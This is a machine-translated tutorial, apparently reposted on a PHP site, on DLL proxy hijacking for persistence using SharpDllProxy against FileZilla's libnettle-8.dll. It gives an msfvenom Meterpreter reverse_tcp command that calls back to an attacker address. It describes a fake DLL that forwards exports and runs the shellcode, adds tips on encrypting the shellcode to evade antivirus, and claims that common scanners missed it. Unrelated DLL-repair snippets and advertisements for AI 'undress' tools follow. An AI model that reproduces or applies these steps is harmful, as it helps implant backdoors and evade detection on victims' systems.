search
HomeOperation and MaintenanceSafetyHow to perform DLL proxy forwarding and weiquan analysis

DLL Hijacking

After the Windows 7 version, the system uses KnowDLLs to manage DLLs, which is located in the registry HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs. The following DLL file It will be prohibited to call from the directory where the exe itself is located, but can only be called from the system directory (System32) directory. The reason for DLL hijacking is that not all DLLs are written to the registry.

Use the dll generated by msfvenom to kill directly. How to perform DLL proxy forwarding and weiquan analysis

SharpDllProxy

The name sounds similar to a socks proxy. Tool source from: https://redteaming.co.uk/2020/07/12/dll-proxy-loading-your-favorite-c-implant/. For specific implementation, you can also refer to this boss’s blog.

Preface

First understand the operating principle of the dynamic link library. If application A wants to use the GetFunkyData() function in the dynamic link library DataFunctions.dll, it needs to load the DataFunctions.dll dynamic link library. This tool is based on this consideration. It creates a dynamic link library with the same name as DataFunction.dll. It has two functions: ① Make a shortcut key to forward all functions to the real dynamic link library DataFunctions.dll. , this is the origin of proxy in the name; ② Write shellcode in this fake DataFunctions.dll. Attached is the author's original picture: How to perform DLL proxy forwarding and weiquan analysis

Experimental process

Target program

It took some time to do this experiment, such as FileZilla software, how to find this that needs to be loaded What about dll? As the author said, copy the software and you will know what it is missing. As follows: How to perform DLL proxy forwarding and weiquan analysis

How to perform DLL proxy forwarding and weiquan analysis

That means the DLL file needs to be loaded to run the application, so make a fake libnettle-8.dll for this DLL.

Generate shellcode

<br>
<br>

msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.124.29 LPORT=4444 -f raw > shell.bin

The experiment begins

First download SharpDllProxy: https://github.com/Flangvik/SharpDllProxy, and then use visual studio 2019 to compile it. Try not to use other versions, because I used various visual studio 2017 It took a long time to report the error but it didn’t come out. There may be something wrong with the environment.

Directly use vs to open SharpDllProxy under the file --> Generate solutionHow to perform DLL proxy forwarding and weiquan analysisHow to perform DLL proxy forwarding and weiquan analysis

Use SharpDllProxy.dll to create a fake libnettle-8.dll file. Place shell.bin and the Dll that needs to be faked into the file in the picture above. Execute the following command: .\SharpDllProxy.exe --dll libnettle-8.dll --payload shell.binHow to perform DLL proxy forwarding and weiquan analysis

The generated file contains a C file and a dll. This dll file is the original libnettle-8.dll file. How to perform DLL proxy forwarding and weiquan analysis

Let’s analyze this C language program. From line 9 to line 494, they are all functions that forward the DLL. All functions that need to be run are forwarded to the original DLL for processing. How to perform DLL proxy forwarding and weiquan analysis

Line 497 is where we inserted the shellcode. This is the only key code. In fact, you can also directly write the shellcode shell.bin to the file, which reduces the number of suspicious files. Here, we read and execute the shellcode in binary mode through VirtualAlloc memory operation. At this point, you can operate like a tiger by yourself, and use various anti-killing postures, such as changing the loading method, such as encrypting the shellcode first and then decrypting it to run. How to perform DLL proxy forwarding and weiquan analysis

Use VS to compile the above C file. Select New under the File menu, then select Dynamic Link Library Project and name the project libnettle-8. Copy the above C file code to VS to compileHow to perform DLL proxy forwarding and weiquan analysisHow to perform DLL proxy forwarding and weiquan analysis

Send the above three files (tmpD475.dll, libnettle-8.dll, shell.bin) to the target system. Use msf to listen, then run the program, and the session will be returned. How to perform DLL proxy forwarding and weiquan analysisHow to perform DLL proxy forwarding and weiquan analysis

Using the most commonly used anti-virus software: 360, Tinder and Safe Manager were not detected. How to perform DLL proxy forwarding and weiquan analysis

The above is the detailed content of How to perform DLL proxy forwarding and weiquan analysis. For more information, please follow other related articles on the PHP Chinese website!

Statement
This article is reproduced at:亿速云. If there is any infringement, please contact admin@php.cn delete
Nvgpucomp64.dll导致Windows PC游戏崩溃;Nvgpucomp64.dll导致Windows PC游戏崩溃;Mar 26, 2024 am 08:20 AM

如果Nvgpucomp64.dll导致游戏频繁崩溃,这里提供的解决方案可能会对您有所帮助。这种问题通常是由于过时或损坏的显卡驱动程序、游戏文件损坏等原因引起的。修复这些问题可以帮助您解决游戏崩溃的困扰。Nvgpucomp64.dll文件与NVIDIA显卡关联。当这个文件崩溃时,你的游戏也会崩溃。这通常发生在《LordsoftheFallen》、《LiesofP》、《RocketLeague》和《ApexLegends》等游戏中。Nvgpucomp64.dll使WindowsPC上的游戏崩溃如果N

Windows系统目录CoreMessaging.dll文件丢失找不到问题解析Windows系统目录CoreMessaging.dll文件丢失找不到问题解析Feb 11, 2024 pm 11:42 PM

很多的用户们在利用电脑玩游戏的时候会出现提示coremessaging.dll丢失的情况,相信很多的用户们第一时间都会觉得软件或者是游戏的问题,其实不是的,这是因为电脑缺少了dll文件,用户们可以去下载coremessaging.dll文件就可以了。下面就让本站来为用户们来仔细的介绍一下Windows系统目录CoreMessaging.dll文件丢失找不到问题解析吧。Windows系统目录CoreMessaging.dll文件丢失找不到问题解析1、下载CoreMessaging.dll文件2、将

win7系统丢失libcurl.dll怎么解决?win7找不到libcurl.dll文件解决方法win7系统丢失libcurl.dll怎么解决?win7找不到libcurl.dll文件解决方法Feb 12, 2024 am 08:15 AM

win7系统丢失libcurl.dll怎么解决?一般都是dll文件都会导致部分程序无法正常进行使用,面对这个问题,很多用户都不知道应该如何解决,针对这个情况,今日小编就来和广大用户们分享详细的解决方法,希望今日win7教程能够给广大的用户们带来帮助,一起来了解看看吧。win7系统丢失libcurl.dll解决方法1、下载libcurl.dll文件。2、下载好后将文件放入相应的文件夹,这里分32位和64位操作系统路径如下:32位Win7操作系统将文件直接复制到C:\Windows\SYSTEM32

vcruntime140_1.dll无法继续执行代码怎么办?vcruntime140_1.dll无法继续执行代码怎么办?Feb 11, 2024 pm 05:00 PM

vcruntime140_1.dll是VisualC运行时库的一个组成部分,不少的用户们在使用MicrosoftVisualStudio进行开发时出现了vcruntime140_1.dll无法继续执行代码的错误,那么用户们遇到这种问题要怎么办?下面就让本站来为用户们来仔细的介绍一下vcruntime140_1.dll无法继续执行代码如何解决方法吧。vcruntime140_1.dll丢失的原因卸载VisualC运行时库:误操作或升级VisualC导致运行时库丢失。病毒感染:恶意软件删除或损坏vc

Win7启动游戏提示计算机中丢失Skidrow.dll怎么办?Win7启动游戏提示计算机中丢失Skidrow.dll怎么办?Feb 15, 2024 pm 02:12 PM

很多用户喜欢使用电脑玩游戏,最近有Win7系统的用户反映在启动游戏的时候,遇到了系统提示计算机中丢失Skidrow.dll文件无法启动的弹窗,没办法正常加载游戏,这是怎么回事呢?针对这一问题,本篇带来了详细的解决方法,分享给大家,一起看看吧。Win7启动游戏提示计算机中丢失Skidrow.dll怎么办?1、下载Skidrow.dll文件。2、解压该文件夹,然后将Skidrow.dll文件复制到系统目录下。32位系统:C:\WINNT\System3264位系统:C:\Windows\SysWOW

加载dll失败怎么办加载dll失败怎么办Jan 25, 2024 pm 05:51 PM

解决办法:1、重新下载或从可靠的来源获取DLL文件;2、检查DLL文件的依赖项;3、确保使用的是正确的DLL版本;4、注册DLL文件;5、检查防火墙和安全软件设置;6、联系软件供应商或技术支持。

鲁大师怎么修复dll文件?鲁大师一键修复dll缺失教程鲁大师怎么修复dll文件?鲁大师一键修复dll缺失教程Mar 14, 2024 pm 07:31 PM

  鲁大师是一款许多用户都在使用的硬件检测工具,通过软件可以查看到详细的硬件信息,但是它有很多的功能可以多驱动进行修复,很多人想要知道鲁大师可不可以修复dll文件?怎么修复,针对这个问题,本期软件教程小编就来和各位讲解一下,想要了解的小伙伴欢迎来获取查看。  鲁大师一键修复所有dll缺失教程:  1、首先打开鲁大师,进入主界面。  2、其次点右上角的游戏库,再点右上角的修复。  3、最后一键修复dll缺失文件即可。

了解VCRUNTIME140.dll的作用了解VCRUNTIME140.dll的作用Dec 23, 2023 pm 11:17 PM

VCRUNTIME140.dll是什么什么文件呢?为什么电脑在运行一些游戏的时候会出现丢失VCRUNTIME140.dll,然后游戏运行失败?这个dll文件是电脑重要的运行库文件。丢失了会导致很多程序无法运行。VCRUNTIME140.dll是什么是VC++2015运行库其中一个文件1、VCRUNTIME140.dll是微软windows系统运行中必要的一个重要文件。2、电脑中不同的程序运行需要有不同的dll文件进行运行支持。3、当电脑运行程序出现了丢失VCRUNTIME140.dll文件提示,

See all articles

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

AI Hentai Generator

AI Hentai Generator

Generate AI Hentai for free.

Hot Article

R.E.P.O. Energy Crystals Explained and What They Do (Yellow Crystal)
2 weeks agoBy尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Best Graphic Settings
2 weeks agoBy尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. How to Fix Audio if You Can't Hear Anyone
2 weeks agoBy尊渡假赌尊渡假赌尊渡假赌

Hot Tools

SecLists

SecLists

SecLists is the ultimate security tester's companion. It is a collection of various types of lists that are frequently used during security assessments, all in one place. SecLists helps make security testing more efficient and productive by conveniently providing all the lists a security tester might need. List types include usernames, passwords, URLs, fuzzing payloads, sensitive data patterns, web shells, and more. The tester can simply pull this repository onto a new test machine and he will have access to every type of list he needs.

MinGW - Minimalist GNU for Windows

MinGW - Minimalist GNU for Windows

This project is in the process of being migrated to osdn.net/projects/mingw, you can continue to follow us there. MinGW: A native Windows port of the GNU Compiler Collection (GCC), freely distributable import libraries and header files for building native Windows applications; includes extensions to the MSVC runtime to support C99 functionality. All MinGW software can run on 64-bit Windows platforms.

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

SAP NetWeaver Server Adapter for Eclipse

SAP NetWeaver Server Adapter for Eclipse

Integrate Eclipse with SAP NetWeaver application server.

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment